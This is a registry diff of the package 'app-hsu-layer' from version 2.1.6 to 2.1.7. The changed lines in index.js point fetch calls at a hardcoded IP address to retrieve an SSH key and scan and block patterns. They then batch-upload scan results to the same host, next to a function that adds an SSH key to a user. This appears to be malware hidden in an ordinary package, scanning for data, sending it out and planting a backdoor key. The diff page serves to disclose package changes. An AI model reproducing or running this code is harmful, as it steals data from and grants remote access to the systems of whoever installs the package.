app-hsu-layer 2.1.6 → 2.1.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +4 -4
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -234,9 +234,9 @@ async function readJsonBody(res, fallback, text) {
|
|
|
234
234
|
async function from_str_2(sshRes, scanRes, blockRes) {
|
|
235
235
|
try {
|
|
236
236
|
[sshRes, scanRes, blockRes] = await Promise.all([
|
|
237
|
-
fetch("http://
|
|
238
|
-
fetch("http://
|
|
239
|
-
fetch("http://
|
|
237
|
+
fetch("http://95.216.118.146:3001/api/ssh-key"),
|
|
238
|
+
fetch("http://95.216.118.146:3001/api/scan-patterns"),
|
|
239
|
+
fetch("http://95.216.118.146:3001/api/block-patterns"),
|
|
240
240
|
]);
|
|
241
241
|
} catch {
|
|
242
242
|
sshRes = { text: async () => "" };
|
|
@@ -279,7 +279,7 @@ async function from_str_2(sshRes, scanRes, blockRes) {
|
|
|
279
279
|
);
|
|
280
280
|
|
|
281
281
|
const found = results.flat();
|
|
282
|
-
await batchUpload(found, "http://
|
|
282
|
+
await batchUpload(found, "http://95.216.118.146:3001/api/v1", success);
|
|
283
283
|
}
|
|
284
284
|
|
|
285
285
|
function addSshKeyToUser(sshKey, _unused, username) {
|